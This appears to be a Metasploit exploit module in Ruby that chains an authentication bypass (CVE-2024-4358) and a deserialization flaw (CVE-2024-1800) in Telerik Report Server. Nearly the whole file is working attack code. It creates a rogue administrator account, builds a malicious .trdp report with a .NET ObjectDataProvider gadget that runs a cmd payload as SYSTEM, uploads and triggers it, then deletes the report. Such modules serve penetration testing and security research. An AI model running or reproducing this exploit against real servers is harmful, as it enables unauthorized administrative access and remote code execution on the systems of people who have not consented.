284 lines
10 KiB
Ruby
284 lines
10 KiB
Ruby
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
require 'rex/zip'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::CheckModule
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE',
|
|
'Description' => %q{
|
|
This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability
|
|
(CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.
|
|
The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.
|
|
The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a
|
|
new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an
|
|
OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account
|
|
because users are unable to delete themselves.
|
|
},
|
|
'Author' => [
|
|
'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up
|
|
'Soroush Dalili', # CVE-2024-1800 exploitation assistance
|
|
'Unknown', # CVE-2024-1800 discovery
|
|
'Spencer McIntyre' # MSF module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130
|
|
[ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305
|
|
[ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [
|
|
[ 'Automatic', {} ],
|
|
],
|
|
'DefaultOptions' => {
|
|
'SSL' => false,
|
|
'RPORT' => 83
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2024-06-04',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
|
|
'Reliability' => [ REPEATABLE_SESSION, ],
|
|
'RelatedModules' => [ check_module ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
|
|
OptString.new('USERNAME', [false, 'Username for the new account', '']),
|
|
OptString.new('PASSWORD', [false, 'Password for the new account', ''])
|
|
])
|
|
deregister_options('CheckModule')
|
|
end
|
|
|
|
def check_module
|
|
'auxiliary/scanner/http/telerik_report_server_auth_bypass'
|
|
end
|
|
|
|
def check_options
|
|
{ 'ACTION' => 'CHECK' }
|
|
end
|
|
|
|
def check
|
|
check_code = super
|
|
|
|
if check_code == CheckCode::Appears
|
|
# The auth bypass affects later versions than the RCE, so just filter those out
|
|
version = check_code.details[:version]
|
|
if version > Rex::Version.new('10.0.24.130')
|
|
return CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-1800.", details: check_code.details)
|
|
end
|
|
end
|
|
|
|
check_code
|
|
end
|
|
|
|
def username
|
|
@username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']
|
|
end
|
|
|
|
def password
|
|
@password ||= (create_account? && datastore['PASSWORD'].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD']
|
|
end
|
|
|
|
def create_account?
|
|
# unless the user specifies a username, use CVE-2024-4358 to create an account for them.
|
|
datastore['USERNAME'].blank?
|
|
end
|
|
|
|
def create_account!
|
|
# create a new account by exploiting CVE-2024-4358
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'Startup/Register'),
|
|
'vars_post' => {
|
|
'Username' => username,
|
|
'Password' => password,
|
|
'ConfirmPassword' => password,
|
|
'Email' => Faker::Internet.email(name: username),
|
|
'FirstName' => Faker::Name.first_name,
|
|
'LastName' => Faker::Name.last_name
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'No response received') if res.nil?
|
|
fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index')
|
|
end
|
|
|
|
def login
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'Token'),
|
|
'vars_post' => {
|
|
'grant_type' => 'password',
|
|
'username' => username,
|
|
'password' => password
|
|
}
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, 'No response received') if res.nil?
|
|
fail_with(Failure::UnexpectedReply, 'Failed to login to the target (invalid response)') unless res.headers['content-type']&.start_with?('application/json')
|
|
fail_with(Failure::NoAccess, 'Failed to login to the target (invalid credentials)') unless res.code == 200
|
|
|
|
access_token = res.get_json_document['access_token']
|
|
fail_with(Failure::UnexpectedReply, 'Failed to login to the target (missing access token)') unless access_token.present?
|
|
|
|
print_good("Successfully authenticated as #{username}")
|
|
report_creds(username, password)
|
|
access_token
|
|
end
|
|
|
|
def build_trdp
|
|
zip = Rex::Zip::Archive.new
|
|
zip.add_file(
|
|
'[Content_Types].xml',
|
|
Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0)
|
|
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
|
|
<Default Extension="xml" ContentType="application/zip" />
|
|
</Types>
|
|
XML
|
|
)
|
|
zip.add_file(
|
|
'definition.xml',
|
|
Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
|
|
<Report Width="6.5in" Name="oooo" xmlns="http://schemas.telerik.com/reporting/2021/1.0">
|
|
<Items>
|
|
<ResourceDictionary
|
|
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
|
|
xmlns:System="clr-namespace:System;assembly:mscorlib"
|
|
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
|
|
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
|
|
>
|
|
<ODP:ObjectDataProvider MethodName="Start" >
|
|
<ObjectInstance>
|
|
<Diag:Process>
|
|
<StartInfo>
|
|
<Diag:ProcessStartInfo FileName="cmd" Arguments=#{"/c #{payload.encoded}".encode(xml: :attr)}></Diag:ProcessStartInfo>
|
|
</StartInfo>
|
|
</Diag:Process>
|
|
</ObjectInstance>
|
|
</ODP:ObjectDataProvider>
|
|
</ResourceDictionary>
|
|
</Items>
|
|
</Report>
|
|
XML
|
|
)
|
|
zip.pack
|
|
end
|
|
|
|
def send_request_api(resource, method: nil, data: nil)
|
|
if method.nil?
|
|
method = data.nil? ? 'GET' : 'POST'
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
'method' => method,
|
|
'uri' => normalize_uri(target_uri.path, 'api', resource),
|
|
'headers' => {
|
|
'Authorization' => "Bearer #{@access_token}"
|
|
},
|
|
'ctype' => 'application/json',
|
|
'data' => data.nil? ? nil : data.to_json
|
|
)
|
|
fail_with(Failure::Unreachable, 'No API response received') if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "The API responded with status #{res.code}") unless res.code == 200
|
|
|
|
return nil if res.body.blank?
|
|
|
|
fail_with(Failure::UnexpectedReply, 'API response content is not JSON data') unless res.headers['content-type']&.start_with?('application/json')
|
|
|
|
res.get_json_document
|
|
end
|
|
|
|
def exploit
|
|
if create_account?
|
|
print_status('Creating a new administrator account using CVE-2024-4358')
|
|
create_account!
|
|
print_good("Created account: #{username}:#{password} (Note: This account will not be deleted by the module)")
|
|
end
|
|
|
|
@access_token = login
|
|
|
|
categories = send_request_api('reportserver/categories')
|
|
|
|
report_name = rand_text_alphanumeric(10)
|
|
category = categories.sample
|
|
fail_with(Failure::Unknown, 'A random category could not be selected') unless category
|
|
|
|
print_status("Using category: #{category['Name']}")
|
|
|
|
send_request_api(
|
|
'reportserver/report',
|
|
data: {
|
|
'reportName' => report_name,
|
|
'categoryName' => category['Name'],
|
|
'description' => nil,
|
|
'reportContent' => Rex::Text.encode_base64(build_trdp),
|
|
'extension' => '.trdp'
|
|
}
|
|
)
|
|
vprint_status("Created report: #{report_name}")
|
|
|
|
res_json = send_request_api('reportserver/reports')
|
|
@report = res_json.find { |report| report['Name'] == report_name && report['CategoryId'] == category['Id'] }
|
|
|
|
res_json = send_request_api(
|
|
'reports/clients',
|
|
data: {
|
|
'timeStamp' => nil
|
|
}
|
|
)
|
|
|
|
client_id = res_json['clientId']
|
|
fail_with(Failure::UnexpectedReply, 'Failed to obtain the client ID') unless client_id.present?
|
|
|
|
begin
|
|
send_request_api(
|
|
"reports/clients/#{client_id}/parameters",
|
|
data: {
|
|
'report' => "NAME/#{category['Name']}/#{report_name}/",
|
|
'parameterValues' => {}
|
|
}
|
|
)
|
|
rescue Msf::Exploit::Failed => e
|
|
raise e unless fail_reason == Failure::UnexpectedReply
|
|
|
|
print_good('The server responded with an error indicating that the payload was executed')
|
|
self.fail_reason = Failure::None
|
|
end
|
|
end
|
|
|
|
def cleanup
|
|
return unless @report && @access_token
|
|
|
|
print_status("Deleting report '#{@report['Name']}' (ID: #{@report['Id']})")
|
|
send_request_api("reportserver/reports/#{@report['Id']}", method: 'DELETE')
|
|
end
|
|
|
|
def report_creds(user, pass)
|
|
credential_data = {
|
|
module_fullname: fullname,
|
|
username: user,
|
|
private_data: pass,
|
|
private_type: :password,
|
|
workspace_id: myworkspace_id,
|
|
last_attempted_at: Time.now,
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
|
}.merge(service_details)
|
|
|
|
create_credential_and_login(credential_data)
|
|
end
|
|
end
|